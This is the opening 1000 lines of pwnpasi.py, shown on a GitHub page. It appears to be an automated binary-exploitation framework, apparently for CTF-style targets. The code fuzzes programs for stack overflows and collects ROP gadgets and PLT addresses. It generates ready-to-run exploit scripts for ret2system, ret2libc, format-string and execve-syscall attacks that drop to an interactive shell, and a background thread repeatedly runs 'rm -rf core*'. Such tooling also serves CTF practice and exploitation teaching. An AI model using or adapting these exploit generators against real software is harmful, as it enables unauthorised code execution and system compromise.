-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathpwnpasi.py
More file actions
3720 lines (3151 loc) · 139 KB
/
pwnpasi.py
File metadata and controls
3720 lines (3151 loc) · 139 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import argparse
import sys
import os
import re
import subprocess
import time
import datetime
import threading
from elftools.elf.elffile import ELFFile
from elftools.elf.sections import SymbolTableSection
from docx import Document
from docx.shared import Inches
from docx.enum.text import WD_ALIGN_PARAGRAPH
# Disable core dump files (Unix/Linux only)
try:
import resource
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
except:
pass
# Configure pwntools to prevent core dumps
context.log_level = 'error'
context.terminal = ['bash', '-c']
try:
# Additional core dump prevention
os.system('ulimit -c 0 2>/dev/null || true')
except:
pass
# Core file cleanup thread
def cleanup_core_files():
"""Background thread to continuously remove core files"""
while True:
try:
# Remove core files in current directory
os.system('rm -rf core* 2>/dev/null || del core* 2>nul || true')
time.sleep(1) # Check every second
except:
pass
# Start core cleanup thread
cleanup_thread = threading.Thread(target=cleanup_core_files, daemon=True)
cleanup_thread.start()
# Global configuration
VERSION = "3.1"
AUTHOR = "Security Research Team"
GITHUB = "https://github.com/heimao-box/pwnpasi"
# Global variables for exploit information
exploit_info = {
'target_binary': '',
'exploit_type': '',
'payload': '',
'padding': 0,
'addresses': {},
'vulnerability_type': '',
'architecture': '',
'success': False,
'timestamp': ''
}
# Color schemes (similar to sqlmap)
class Colors:
HEADER = '\033[95m'
BLUE = '\033[94m'
CYAN = '\033[96m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
# Sqlmap-style colors
INFO = '\033[1;34m' # Blue bold
SUCCESS = '\033[1;32m' # Green bold
WARNING = '\033[1;33m' # Yellow bold
ERROR = '\033[1;31m' # Red bold
CRITICAL = '\033[1;35m' # Magenta bold
PAYLOAD = '\033[1;36m' # Cyan bold
def print_banner():
banner = f"""
{Colors.BOLD}{Colors.BLUE}
____ ____ _
| _ \ __ ___ _| _ \ __ _ ___(_)
| |_) |\ \ /\ / / '_ \ |_) / _` / __| |
| __/ \ V V /| | | | __/ (_| \__ \ |
|_| \_/\_/ |_| |_|_| \__,_|___/_|
{Colors.END}
{Colors.BOLD} Automated Binary Exploitation Framework v{VERSION}{Colors.END}
{Colors.CYAN} by {AUTHOR}{Colors.END}
{Colors.UNDERLINE} {GITHUB}{Colors.END}
"""
print(banner)
def print_info(message, prefix="[*]"):
"""Print info message with sqlmap-style formatting"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.INFO}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_success(message, prefix="[+]"):
"""Print success message"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.SUCCESS}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_warning(message, prefix="[!]"):
"""Print warning message"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.WARNING}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_error(message, prefix="[-]"):
"""Print error message"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.ERROR}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_critical(message, prefix="[CRITICAL]"):
"""Print critical message"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.CRITICAL}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_payload(message, prefix="[PAYLOAD]"):
"""Print payload information"""
timestamp = datetime.datetime.now().strftime("%H:%M:%S")
print(f"{Colors.PAYLOAD}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
def print_section_header(title):
"""Print section header with decorative lines"""
line = "─" * 60
print(f"\n{Colors.BOLD}{Colors.BLUE}┌{line}┐{Colors.END}")
print(f"{Colors.BOLD}{Colors.BLUE}│{Colors.END} {Colors.BOLD}{title.center(58)}{Colors.END} {Colors.BOLD}{Colors.BLUE}│{Colors.END}")
print(f"{Colors.BOLD}{Colors.BLUE}└{line}┘{Colors.END}")
def print_progress(current, total, task_name):
"""Print progress bar similar to sqlmap"""
percentage = int((current / total) * 100)
bar_length = 30
filled_length = int(bar_length * current // total)
bar = '█' * filled_length + '░' * (bar_length - filled_length)
print(f"\r{Colors.INFO}[*]{Colors.END} {task_name}: {Colors.CYAN}[{bar}]{Colors.END} {percentage}%", end='', flush=True)
if current == total:
print_info("") # New line when complete
def print_table_header(headers):
"""Print table header"""
header_line = " | ".join([f"{h:^15}" for h in headers])
separator = "-" * len(header_line)
print(f"{Colors.BOLD}{header_line}{Colors.END}")
print(separator)
def print_table_row(values, colors=None):
"""Print table row with optional colors"""
if colors is None:
colors = [Colors.END] * len(values)
formatted_values = []
for i, (value, color) in enumerate(zip(values, colors)):
formatted_values.append(f"{color}{str(value):^15}{Colors.END}")
row_line = " | ".join(formatted_values)
print(row_line)
def update_exploit_info(key, value):
"""Update global exploit information"""
global exploit_info
exploit_info[key] = value
def generate_exploitation_code():
"""Generate complete exploitation code based on exploit type and information"""
global exploit_info
# Extract target binary name
target_name = os.path.basename(exploit_info['target_binary'])
if target_name.startswith('./'):
target_name = target_name[2:]
# Base template for exploitation code
base_code = f"""#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# PWN Exploitation Script
# Target: {exploit_info['target_binary']}
# Exploit Type: {exploit_info['exploit_type']}
# Architecture: {exploit_info['architecture']}
# Vulnerability: {exploit_info['vulnerability_type']}
from pwn import *
# Target configuration
target = '{target_name}'
context.arch = '{exploit_info['architecture']}'
context.log_level = 'debug'
# Connect to target
io = process(target)
# For remote: io = remote('host', port)
"""
# Add addresses information as variables
if exploit_info['addresses']:
base_code += "# Key addresses\n"
for addr_type, addr_value in exploit_info['addresses'].items():
if isinstance(addr_value, int):
base_code += f"{addr_type} = 0x{addr_value:x}\n"
elif isinstance(addr_value, str) and addr_value.startswith('0x'):
base_code += f"{addr_type} = {addr_value}\n"
else:
try:
base_code += f"{addr_type} = 0x{int(str(addr_value)):x}\n"
except:
base_code += f"{addr_type} = {repr(addr_value)}\n"
base_code += "\n"
# Add payload construction based on exploit type
exploit_type = exploit_info['exploit_type'].lower()
if 'ret2system' in exploit_type:
if 'x64' in exploit_type:
base_code += f"""# Construct payload for ret2system x64
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p64(pop_rdi_addr) # pop rdi; ret
payload += p64(bin_sh_addr) # "/bin/sh" address
payload += p64(ret_addr) # ret gadget for stack alignment
payload += p64(system_addr) # system() address
"""
else:
base_code += f"""# Construct payload for ret2system x32
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(system_addr) # system() address
payload += p32(0x0) # return address (dummy)
payload += p32(bin_sh_addr) # "/bin/sh" address
"""
elif 'ret2libc' in exploit_type and 'write' in exploit_type:
if 'x64' in exploit_type:
base_code += f"""# Construct payload for ret2libc write x64
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p64(pop_rdi_addr) # pop rdi; ret
payload += p64(1) # stdout fd
payload += p64(pop_rsi_addr) # pop rsi; ret
payload += p64(write_got) # write@got address
payload += p64(ret_addr) # ret gadget
payload += p64(write_plt) # write@plt
payload += p64(main_addr) # return to main for second stage
"""
else:
base_code += f"""# Construct payload for ret2libc write x32
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(write_plt) # write@plt
payload += p32(main_addr) # return to main
payload += p32(1) # stdout fd
payload += p32(write_got) # write@got address
payload += p32(4) # bytes to write
"""
elif 'format string' in exploit_type:
base_code += f"""# Format string exploitation
offset = {exploit_info.get('offset', 'OFFSET_VALUE')}
buf_addr = {exploit_info['addresses'].get('buf_addr', 'BUF_ADDRESS')}
system_addr = {exploit_info['addresses'].get('system_addr', 'SYSTEM_ADDRESS')}
# Construct format string payload
payload = fmtstr_payload(offset, {{buf_addr: system_addr}})
"""
elif 'execve syscall' in exploit_type:
base_code += f"""# Construct payload for execve syscall
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += p32(pop_eax_addr) # pop eax; ret
payload += p32(0xb) # execve syscall number
payload += p32(pop_ebx_addr) # pop ebx; ret
payload += p32(bin_sh_addr) # "/bin/sh" address
payload += p32(pop_ecx_addr) # pop ecx; ret
payload += p32(0x0) # argv = NULL
payload += p32(pop_edx_addr) # pop edx; ret
payload += p32(0x0) # envp = NULL
payload += p32(int_0x80) # int 0x80
"""
else:
# Generic payload construction
base_code += f"""# Construct payload
padding = b'A' * {exploit_info['padding']}
payload = padding
payload += {repr(exploit_info['payload']) if isinstance(exploit_info['payload'], bytes) else repr(str(exploit_info['payload']))}
"""
# Add exploitation execution
base_code += f"""
# Send payload
io.sendline(payload)
# Get shell
io.interactive()
"""
return base_code
def generate_docx_report():
"""Generate DOCX exploitation report"""
global exploit_info
if not exploit_info['success']:
return
try:
# Extract target binary name without path and extension
target_name = os.path.basename(exploit_info['target_binary'])
if target_name.startswith('./'):
target_name = target_name[2:]
target_name = os.path.splitext(target_name)[0]
# Generate report filename
report_filename = f"{target_name}_wp.docx"
# Create document
doc = Document()
# Add title
title = doc.add_heading('PWN Exploitation Report', 0)
title.alignment = WD_ALIGN_PARAGRAPH.CENTER
# Add basic information
doc.add_heading('Basic Information', level=1)
basic_info = doc.add_paragraph()
basic_info.add_run('Target Binary: ').bold = True
basic_info.add_run(f"{exploit_info['target_binary']}\n")
basic_info.add_run('Exploitation Time: ').bold = True
basic_info.add_run(f"{exploit_info['timestamp']}\n")
basic_info.add_run('Architecture: ').bold = True
basic_info.add_run(f"{exploit_info['architecture']}\n")
basic_info.add_run('Vulnerability Type: ').bold = True
basic_info.add_run(f"{exploit_info['vulnerability_type']}\n")
basic_info.add_run('Exploitation Method: ').bold = True
basic_info.add_run(f"{exploit_info['exploit_type']}\n")
# Add padding information
doc.add_heading('Buffer Overflow Information', level=1)
padding_info = doc.add_paragraph()
padding_info.add_run('Buffer Overflow Padding: ').bold = True
padding_info.add_run(f"{exploit_info['padding']} bytes\n")
# Add addresses information
if exploit_info['addresses']:
doc.add_heading('Key Address Information', level=1)
addr_table = doc.add_table(rows=1, cols=2)
addr_table.style = 'Table Grid'
hdr_cells = addr_table.rows[0].cells
hdr_cells[0].text = 'Address Type'
hdr_cells[1].text = 'Address Value'
for addr_type, addr_value in exploit_info['addresses'].items():
row_cells = addr_table.add_row().cells
row_cells[0].text = addr_type
# Convert address to hexadecimal format
if isinstance(addr_value, int):
row_cells[1].text = f"0x{addr_value:x}"
elif isinstance(addr_value, str) and addr_value.isdigit():
row_cells[1].text = f"0x{int(addr_value):x}"
elif isinstance(addr_value, str) and addr_value.startswith('0x'):
row_cells[1].text = addr_value
else:
# Try to convert string representation of number to hex
try:
if 'x' in str(addr_value):
row_cells[1].text = str(addr_value)
else:
row_cells[1].text = f"0x{int(str(addr_value)):x}"
except:
row_cells[1].text = str(addr_value)
# Add exploitation code information
if exploit_info['payload']:
doc.add_heading('Exploitation Code', level=1)
payload_para = doc.add_paragraph()
payload_para.add_run('Complete Python Exploitation Code:\n').bold = True
# Generate complete exploitation code based on exploit type
exploitation_code = generate_exploitation_code()
# Add the exploitation code as code block
payload_para.add_run(f"{exploitation_code}\n")
# Add payload length
payload_para.add_run('Payload Length: ').bold = True
if isinstance(exploit_info['payload'], bytes):
payload_para.add_run(f"{len(exploit_info['payload'])} bytes\n")
else:
payload_para.add_run(f"{len(str(exploit_info['payload']))} characters\n")
# Add exploitation summary
doc.add_heading('Exploitation Summary', level=1)
summary_para = doc.add_paragraph()
summary_para.add_run('Exploitation Status: ').bold = True
summary_para.add_run('Successful\n')
summary_para.add_run('Exploitation Method: ').bold = True
summary_para.add_run(f"Successfully gained shell access through {exploit_info['vulnerability_type']} vulnerability using {exploit_info['exploit_type']} technique.\n")
# Add footer
doc.add_paragraph('\n' + '─' * 50)
footer_para = doc.add_paragraph()
footer_para.add_run('Report Generation Tool: ').bold = True
footer_para.add_run(f"PwnPasi v{VERSION}\n")
footer_para.add_run('Generation Time: ').bold = True
footer_para.add_run(f"{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
# Save document
doc.save(report_filename)
print_success(f"Exploitation report generated: {Colors.YELLOW}{report_filename}{Colors.END}")
except Exception as e:
print_error(f"Failed to generate report: {e}")
def handle_exploitation_success(exploit_type, payload, padding, addresses, vulnerability_type, architecture):
"""Handle successful exploitation by updating info and generating report"""
update_exploit_info('exploit_type', exploit_type)
update_exploit_info('payload', payload.hex() if hasattr(payload, 'hex') else str(payload))
update_exploit_info('padding', padding)
update_exploit_info('addresses', addresses)
update_exploit_info('vulnerability_type', vulnerability_type)
update_exploit_info('architecture', architecture)
update_exploit_info('success', True)
print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...")
# Generate DOCX report
generate_docx_report()
def set_permission(program):
"""Set executable permissions for the program"""
try:
os.system(f"chmod +755 {program}")
return True
except Exception as e:
print_error(f"Failed to set permissions: {e}")
return False
def add_current_directory_prefix(program):
"""Add ./ prefix if not present"""
if not program.startswith('./'):
program = os.path.join('.', program)
return program
def detect_libc(program):
"""Detect libc path automatically"""
print_info("detecting libc path automatically")
libc_path = None
try:
os.system(f"ldd {program} | awk '{{$1=$1; print}}' > libc_path.txt")
with open("libc_path.txt", "r") as file:
for line in file:
if 'libc.so.6' in line:
parts = line.split('=>')
if len(parts) > 1:
libc_path = parts[1].strip().split()[0]
print_success(f"libc path detected: {Colors.YELLOW}{libc_path}{Colors.END}")
break
if not libc_path:
print_warning("libc path not found in ldd output")
except Exception as e:
print_error(f"failed to detect libc: {e}")
return libc_path
def ldd_libc(program):
"""Automatically detect libc path using ldd command"""
libc_path = None
try:
# Use ldd to get library information
result = subprocess.run(['ldd', program], capture_output=True, text=True)
if result.returncode == 0:
for line in result.stdout.split('\n'):
if 'libc.so.6' in line:
parts = line.split('=>')
if len(parts) > 1:
libc_path = parts[1].strip().split()[0]
print_info(f"automatically detected libc: {Colors.YELLOW}{libc_path}{Colors.END}")
break
if not libc_path:
print_warning("libc path not found automatically")
except Exception as e:
print_error(f"failed to detect libc: {e}")
return libc_path
def Information_Collection(program):
"""Collect binary information using checksec"""
try:
# Run checksec command
result = subprocess.run(['checksec', program], capture_output=True, text=True)
content = result.stdout
info_dict = {}
# Parse architecture
arch_match = re.search(r"Arch:\s+(\S+)", content)
if arch_match:
arch = arch_match.group(1)
if '64' in arch:
info_dict['bit'] = 64
bit = 64
elif '32' in arch:
info_dict['bit'] = 32
bit = 32
# Parse security features
keys = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
for key in keys:
if key in content:
for line in content.split('\n'):
if key in line and ':' in line:
info_dict[key] = line.split(":")[1].strip()
break
# Determine stack protection
stack = 0
if 'Stack' in info_dict:
if info_dict['Stack'] == 'No canary found':
stack = 0
elif info_dict['Stack'] == 'Canary found':
stack = 1
elif info_dict['Stack'] == 'Executable':
stack = 2
# Determine RWX segments
rwx = 0
if 'RWX' in info_dict:
if info_dict['RWX'] == 'Has RWX segments':
rwx = 1
# Determine PIE
pie = None
if 'PIE' in info_dict:
if info_dict['PIE'] == 'PIE enabled':
pie = 1
# Display information
for key, value in info_dict.items():
print_info(f"{key}: {Colors.YELLOW}{value}{Colors.END}")
return stack, rwx, bit, pie
except Exception as e:
print_error(f"failed to collect binary information: {e}")
return 0, 0, 32, None
def collect_binary_info(program):
"""Collect comprehensive binary information"""
print_info("collecting binary information")
try:
os.system(f"checksec {program} > Information_Collection.txt 2>&1")
with open("Information_Collection.txt", 'r') as f:
content = f.readlines()
result = {}
# Parse architecture
arch_match = re.search(r"Arch:\s+(\S+)", "".join(content))
if arch_match:
arch = arch_match.group(1)
result['arch'] = arch
if '64' in arch:
result['bit'] = 64
elif '32' in arch:
result['bit'] = 32
# Parse security features
security_features = ['RELRO', 'Stack', 'NX', 'PIE', 'Stripped', 'RWX']
for feature in security_features:
for line in content:
if feature in line:
result[feature] = line.split(":")[1].strip()
break
# Process stack canary
stack_protection = 0
if 'Stack' in result:
if result['Stack'] == 'No canary found':
stack_protection = 0
elif result['Stack'] == 'Canary found':
stack_protection = 1
# Process RWX segments
rwx_segments = 0
if 'RWX' in result:
if result['RWX'] == 'Has RWX segments':
rwx_segments = 1
# Process PIE
pie_enabled = 0
if 'PIE' in result:
if result['PIE'] == 'PIE enabled':
pie_enabled = 1
return result, stack_protection, rwx_segments, result.get('bit', 64), pie_enabled
except Exception as e:
print_error(f"failed to collect binary information: {e}")
return {}, 0, 0, 64, 0
def display_binary_info(info_dict):
"""Display binary information in a professional table format"""
print_section_header("BINARY SECURITY ANALYSIS")
# Create table for security features
headers = ["Feature", "Status", "Risk Level"]
print_table_header(headers)
risk_colors = {
"HIGH": Colors.ERROR,
"MEDIUM": Colors.WARNING,
"LOW": Colors.SUCCESS,
"INFO": Colors.INFO
}
security_analysis = {
"RELRO": ("MEDIUM" if "Partial" in info_dict.get("RELRO", "") else "LOW", info_dict.get("RELRO", "Unknown")),
"Stack Canary": ("HIGH" if "No canary" in info_dict.get("Stack", "") else "LOW", info_dict.get("Stack", "Unknown")),
"NX Bit": ("HIGH" if "disabled" in info_dict.get("NX", "") else "LOW", info_dict.get("NX", "Unknown")),
"PIE": ("MEDIUM" if "No PIE" in info_dict.get("PIE", "") else "LOW", info_dict.get("PIE", "Unknown")),
"RWX Segments": ("HIGH" if "Has RWX" in info_dict.get("RWX", "") else "LOW", info_dict.get("RWX", "Unknown"))
}
for feature, (risk, status) in security_analysis.items():
colors = [Colors.END, Colors.END, risk_colors.get(risk, Colors.END)]
print_table_row([feature, status, risk], colors)
print()
def find_large_bss_symbols(program):
"""Find large BSS symbols suitable for shellcode storage"""
print_info("searching for shellcode storage locations")
try:
with open(program, 'rb') as f:
elf = ELFFile(f)
symtab = elf.get_section_by_name('.symtab')
if not symtab:
print_warning("no symbol table found")
return 0, None, None
for symbol in symtab.iter_symbols():
if (symbol['st_info'].type == 'STT_OBJECT' and symbol['st_size'] > 30):
print_success(f"shellcode storage found: {Colors.YELLOW}{symbol.name}{Colors.END} at {Colors.YELLOW}{hex(symbol['st_value'])}{Colors.END}")
return 1, hex(symbol['st_value']), symbol.name
print_warning("no suitable shellcode storage locations found")
return 0, None, None
except Exception as e:
print_error(f"failed to analyze symbols: {e}")
return 0, None, None
def scan_plt_functions(program):
"""Scan and analyze PLT functions"""
print_info("analyzing PLT table and available functions")
try:
os.system(f"objdump -d {program} > Objdump_Scan.txt 2>&1")
target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
function_addresses = {}
found_functions = []
with open("Objdump_Scan.txt", "r") as file:
lines = file.readlines()
print_section_header("FUNCTION ANALYSIS")
headers = ["Function", "Address", "Available"]
print_table_header(headers)
for func in target_functions:
found = False
address = "N/A"
for line in lines:
if f"<{func}@plt>:" in line or f"<{func}>:" in line:
address = line.split()[0].strip(":")
function_addresses[func] = address
found_functions.append(func)
found = True
break
status = "YES" if found else "NO"
color = Colors.SUCCESS if found else Colors.ERROR
colors = [Colors.END, Colors.YELLOW if found else Colors.END, color]
print_table_row([func, address, status], colors)
print_info("")
return function_addresses
except Exception as e:
print_error(f"failed to scan PLT functions: {e}")
return {}
def set_function_flags(function_addresses):
"""Set function availability flags"""
target_functions = ["write", "puts", "printf", "main", "system", "backdoor", "callsystem"]
function_flags = {func: (1 if func in function_addresses else 0) for func in target_functions}
return function_flags
def find_rop_gadgets_x64(program):
"""Find ROP gadgets for x64 architecture"""
print_info("searching for ROP gadgets (x64)")
gadgets = {
'pop_rdi': None,
'pop_rsi': None,
'ret': None,
'other_rdi_registers': None,
'other_rsi_registers': None
}
try:
# Search for pop rdi gadgets
os.system(f"ropper --file {program} --search 'pop rdi' > ropper.txt --nocolor 2>&1")
os.system(f"ropper --file {program} --search 'pop rsi' >> ropper.txt --nocolor 2>&1")
os.system(f"ropper --file {program} --search 'ret' >> ropper.txt --nocolor 2>&1")
with open("ropper.txt", "r") as file:
lines = file.readlines()
print_section_header("ROP GADGETS (x64)")
headers = ["Gadget Type", "Address", "Instruction"]
print_table_header(headers)
for line in lines:
if '[INFO]' in line:
continue
if "pop rdi;" in line and "pop rdi; pop" in line:
gadgets['pop_rdi'] = line.split(":")[0].strip()
gadgets['other_rdi_registers'] = 1
print_table_row(["pop rdi (multi)", gadgets['pop_rdi'], "pop rdi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
elif "pop rdi; ret;" in line:
gadgets['pop_rdi'] = line.split(":")[0].strip()
gadgets['other_rdi_registers'] = 0
print_table_row(["pop rdi", gadgets['pop_rdi'], "pop rdi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
elif "pop rsi;" in line and "pop rsi; pop" in line:
gadgets['pop_rsi'] = line.split(":")[0].strip()
gadgets['other_rsi_registers'] = 1
print_table_row(["pop rsi (multi)", gadgets['pop_rsi'], "pop rsi; pop ...; ret"], [Colors.END, Colors.YELLOW, Colors.END])
elif "pop rsi; ret;" in line:
gadgets['pop_rsi'] = line.split(":")[0].strip()
gadgets['other_rsi_registers'] = 0
print_table_row(["pop rsi", gadgets['pop_rsi'], "pop rsi; ret"], [Colors.END, Colors.YELLOW, Colors.END])
elif "ret" in line and "ret " not in line:
gadgets['ret'] = line.split(":")[0].strip()
print_table_row(["ret", gadgets['ret'], "ret"], [Colors.END, Colors.YELLOW, Colors.END])
print_info("")
return gadgets['pop_rdi'], gadgets['pop_rsi'], gadgets['ret'], gadgets['other_rdi_registers'], gadgets['other_rsi_registers']
except Exception as e:
print_error(f"failed to find ROP gadgets: {e}")
return None, None, None, None, None
def find_rop_gadgets_x32(program):
"""Find ROP gadgets for x32 architecture"""
print_info("searching for ROP gadgets (x32)")
gadgets = {
'pop_eax': None, 'pop_ebx': None, 'pop_ecx': None, 'pop_edx': None,
'pop_ecx_ebx': None, 'ret': None, 'int_0x80': None
}
registers_found = {'eax': 0, 'ebx': 0, 'ecx': 0, 'edx': 0}
try:
print_section_header("ROP GADGETS (x32)")
headers = ["Gadget Type", "Address", "Status"]
print_table_header(headers)
# Search for each register gadget
register_searches = ['eax', 'ebx', 'ecx', 'edx']
for reg in register_searches:
os.system(f"ropper --file {program} --search 'pop {reg};' > ropper.txt --nocolor 2>&1")
with open("ropper.txt", "r") as file:
lines = file.readlines()
for line in lines:
if '[INFO]' in line:
continue
if f"pop {reg}; ret;" in line:
address = line.split(":")[0].strip()
gadgets[f'pop_{reg}'] = address
registers_found[reg] = 1
print_table_row([f"pop {reg}", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
break
elif f"pop {reg}" in line and 'pop ebx' in line and reg == 'ecx':
address = line.split(":")[0].strip()
gadgets['pop_ecx_ebx'] = address
registers_found[reg] = 1
print_table_row(["pop ecx; pop ebx", address, "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
break
if registers_found[reg] == 0:
print_table_row([f"pop {reg}", "N/A", "NOT FOUND"], [Colors.END, Colors.END, Colors.ERROR])
# Search for ret and int 0x80
os.system(f"ropper --file {program} --search 'ret;' > ropper.txt --nocolor 2>&1")
with open("ropper.txt", "r") as file:
for line in file.readlines():
if '[INFO]' in line:
continue
if "ret" in line and "ret " not in line:
gadgets['ret'] = line.split(":")[0].strip()
print_table_row(["ret", gadgets['ret'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
break
os.system(f"ropper --file {program} --search 'int 0x80;' > ropper.txt --nocolor 2>&1")
with open("ropper.txt", "r") as file:
for line in file.readlines():
if '[INFO]' in line:
continue
if "int 0x80" in line:
gadgets['int_0x80'] = line.split(":")[0].strip()
print_table_row(["int 0x80", gadgets['int_0x80'], "FOUND"], [Colors.END, Colors.YELLOW, Colors.SUCCESS])
break
print_info("")
return (gadgets['pop_eax'], gadgets['pop_ebx'], gadgets['pop_ecx'], gadgets['pop_edx'],
gadgets['pop_ecx_ebx'], gadgets['ret'], gadgets['int_0x80'],
registers_found['eax'], registers_found['ebx'], registers_found['ecx'], registers_found['edx'])
except Exception as e:
print_error(f"failed to find ROP gadgets: {e}")
return None, None, None, None, None, None, None, 0, 0, 0, 0
def test_stack_overflow(program, bit):
"""Test for stack overflow vulnerability with progress indication"""
print_info("testing for stack overflow vulnerability")
char = 'A'
padding = 0
max_test = 10000
print_section_header("STACK OVERFLOW DETECTION")
while padding < max_test:
# Update progress every 100 iterations
if padding % 100 == 0:
print_progress(padding, max_test, "Testing overflow")
input_data = char * (padding + 1)
try:
process = subprocess.Popen([program], stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate(input=input_data.encode(), timeout=1)
if process.returncode == -11: # SIGSEGV
alignment = 8 if bit == 64 else 4
final_padding = padding + alignment
print_progress(max_test, max_test, "Testing overflow")
print_success(f"stack overflow detected! Padding: {Colors.YELLOW}{final_padding}{Colors.END} bytes")
return final_padding
except subprocess.TimeoutExpired:
process.kill()
except Exception:
pass
padding += 1
print_progress(max_test, max_test, "Testing overflow")
print_warning("no stack overflow vulnerability detected")
return 0
def analyze_vulnerable_functions(program, bit):
"""Analyze assembly code to find vulnerable functions"""
print_info("analyzing vulnerable functions")
try:
with open("Objdump_Scan.txt", 'r') as f:
content = f.read()
func_pattern = r'^[0-9a-f]+ <(\w+)>:(.*?)(?=^\d+ <\w+>:|\Z)'
functions = re.finditer(func_pattern, content, re.MULTILINE | re.DOTALL)
vulnerable_functions = []
for func in functions:
func_name = func.group(1)
func_body = func.group(2)
